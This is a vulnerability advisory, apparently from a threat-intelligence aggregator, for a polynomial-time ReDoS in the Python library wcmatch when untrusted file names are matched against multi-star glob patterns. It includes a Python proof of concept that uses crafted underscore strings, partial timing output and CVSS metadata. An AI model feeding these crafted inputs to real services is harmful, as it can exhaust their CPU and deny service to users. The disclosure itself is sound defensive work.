CVE-2026-132276
# Summary With default flags, a pattern that contains several `*` wildcards takes polynomial time, O(n^k) for k stars, to reject a crafted file name. The pattern is an ordinary developer constant such as `*_*_*_*_*.csv`; only the string being matched comes from the attacker. A 255-byte file name (the maximum on common filesystems) takes 73 s with `fnmatch.fnmatch()` and 86 s with `glob.globmatch()`. The standard library's `fnmatch` handles the same input in under a millisecond. This is different from GHSA-84v8-qmgq-9g88: that advisory covers extglob patterns, while this case needs no flags and no attacker-controlled pattern. # Details Every `*` is translated to a lazy `.*?` (`_STAR`, `wcmatch/_wcparse.py:212`; `_PATH_STAR` `[^/]*?`, `:218`), which is emitted in `_handle_star` (`:1405-1424`): ```text *_*_*_*_*.csv -> ^(?s:(?=.)(?![.]).*?_.*?_.*?_.*?_.*?\.csv)$ ``` When the subject consists of many `_` and does not end in `.csv`, the regex engine tries every way of splitting it between the stars. CPython fixed the same problem in its own `fnmatch` (bpo-40480) by making every star segment except the last one atomic. # PoC ```python import time, fnmatch as std from wcmatch import fnmatch, glob for pat, n in [('*_*_*_*.csv', 255), ('*_*_*_*.csv', 400), ('*_*_*_*_*.csv', 150), ('*_*_*_*_*.csv', 200), ('*_*_*_*_*.csv', 255)]: name = '_' * n t = time.perf_counter(); fnmatch.fnmatch(name, pat); w = time.perf_counter() - t t = time.perf_counter(); std.fnmatchcase(name, pat); s = time.perf_counter() - t print(f'{pat:15} len={n} wcmatch={w:.3f}s stdlib={s:.5f}s') t = time.perf_counter(); glob.globmatch('uploads/' + '_' * 255, 'uploads/*_*_*_*_*.csv') print(f'globmatch {time.perf_counter() - t:.2f}s') ``` wcmatch 11.1, CPython 3.13, macOS: ```text *_*_*_*.csv len=255 wcmatch=1.412s stdlib=0.00001s *_*_*_*.csv len=400 wcmatch=8.599s stdlib=0.00004s *_*_*_*_*.csv len=150 wcmatch=5.333s stdlib=0.00003s *_*_*_*_*.csv
Properties
- Severity
- medium
- Summary
- wcmatch: Polynomial-time ReDoS when matching untrusted names against multi-star patterns (default flags)
- Nvd fetched at
- 2026-11-22T12:30:49.958423+00:00
- Epss score
- 0.00881
- Cvss severity
- MEDIUM
- Cvss score
- 5.9
- Retrieved at
- 2026-11-22T12:32:26+00:00
- Ghsa published
- 2026-11-20T23:49:18Z
- Source url
- https://github.com/advisories/GHSA-53pm-wgxf-c6qf
- Ghsa updated
- 2026-11-20T23:49:19Z
- Ghsa id
- GHSA-53pm-wgxf-c6qf
- Last source
- FIRST EPSS
- Score
- 5.9
- Cvss version
- 3.1
- Cve id
- CVE-2026-132276
- Cvss vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- First seen by Signal
- 2026-11-20T19:45:57+00:00
- Name
- CVE-2026-132276
- Is ghsa only
- false
- Vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Related Entities (3)
AFFECTS (1)
HAS_WEAKNESS (1)
VULNERABLE_TO (1)
Related research
Explore deeper with Ninja Signal's threat intelligence graph